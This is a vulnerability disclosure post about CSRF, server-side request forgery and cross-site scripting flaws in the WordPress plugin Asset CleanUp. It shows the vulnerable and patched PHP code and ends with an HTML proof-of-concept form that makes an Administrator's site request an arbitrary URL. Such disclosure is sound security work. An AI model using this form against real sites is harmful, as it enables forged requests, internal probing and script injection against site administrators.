27 May 2021

Vulnerability Details: Multiple in Asset CleanUp

It’s a bit of a concern when a developer isn’t disclosing in the changelog that they have fixed a vulnerability in their plugin, especially if they had already disclosed it. That is just what happened with the latest version of Asset CleanUp, which has the following changelog entries:

  • Option to skip Autoptimize cache clearing via using the “WPACU_DO_NOT_ALSO_CLEAR_AUTOPTIMIZE_CACHE” constant (e.g. set to ‘true’ in wp-config.php)
  • Fix: Make sure that applying to unload on all pages of a certain post type works from “CSS & JS MANAGER” (which is the new place for managing CSS/JS files within the Dashboard, outside the edit post/page area)
  • Fix: Manage assets didn’t work on “CSS & JS MANAGER” -> “Homepage” tab if the actual page was a static one set in “Settings” -> “Reading”

Missing from that is what was mentioned in a message when committing part of the changes for the new version:

Fix: “ajaxPreloadGuest” didn’t have any security checks

Looking at the changes made in that commit, though, showed that there looked to be a security check in place, but further checking confirmed that another check was missing. The lack of that check meant there was previously cross-site request fogery (CSRF)/server-side request forgery (SSRF) vulnerability and a related cross-site scripting (XSS) vulnerability.

In the previous version, the function was as follows:

1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
public function ajaxPreloadGuest()
{
	if (! Menu::userCanManageAssets()) {
		echo 'Error: Not enough privileges to perform this action.';
		exit();
	}
 
	$pageUrl = isset($_POST['page_url']) ? $_POST['page_url'] : false;
 
	$pageUrlPreload = add_query_arg( array(
		'wpacu_preload' => 1
	), $pageUrl );
 
	if (! filter_var($pageUrlPreload, FILTER_VALIDATE_URL)) {
		echo 'The URL `'.$pageUrlPreload.'` is not valid.';
		exit();
	}
 
	$response = wp_remote_get($pageUrlPreload);
 
	if (is_wp_error($response)) {
		// Any error generated during the fetch? Print it
		echo 'Error: '.$response->get_error_code();
	} else {
		// No errors
		echo 'Status Code: '.wp_remote_retrieve_response_code($response).' /  Page URL (preload): ' . $pageUrlPreload . "\n\n";
		echo (isset($response['body']) ? $response['body'] : 'No "body" key found from wp_remote_get(), the preload might not have triggered');
	}
 
	exit();
}

That function is accessed through WordPress’ AJAX functionality and is limited by that to those logged in to WordPress:

71
add_action('wp_ajax_' . WPACU_PLUGIN_ID . '_preload', array($this, 'ajaxPreloadGuest'), PHP_INT_MAX);

Access was further limited to Administrators through the first code in the function. The problem is that the code lack a check for a valid nonce, so CSRF was possible.

The rest of the code makes a request to URL specified with the request to it, which would allow SSRF to occur. So an attacker could cause a request to be sent from the server the website is hosted on to an arbitrary URL. It then output the contents of the specified URL, which would allow XSS to occur, if JavaScript were on the URL requested.

In the new version, a nonce check has been added:

1206
1207
1208
1209
1210
1211
1212
public function ajaxPreloadGuest()
{
	// Check nonce
	if ( ! isset( $_POST['wpacu_ajax_preload_url_nonce'] ) || ! wp_verify_nonce( $_POST['wpacu_ajax_preload_url_nonce'], 'wpacu_ajax_preload_url_nonce' ) ) {
		echo 'Error: The security nonce is not valid.';
		exit();
	}

The URL requested is also restricted to ones that include the website’s site URL.

Proof of Concept

The following proof of concept will cause a request to be made to the specified URL, when logged in as an Administrator.

Replace “[path to WordPress]” with the location of WordPress and “[URL]” with the URL to be requested.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=wpassetcleanup_preload" method="POST">
<input type="hidden" name="page_url" value="[URL]" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Leave a Reply

Your email address will not be published.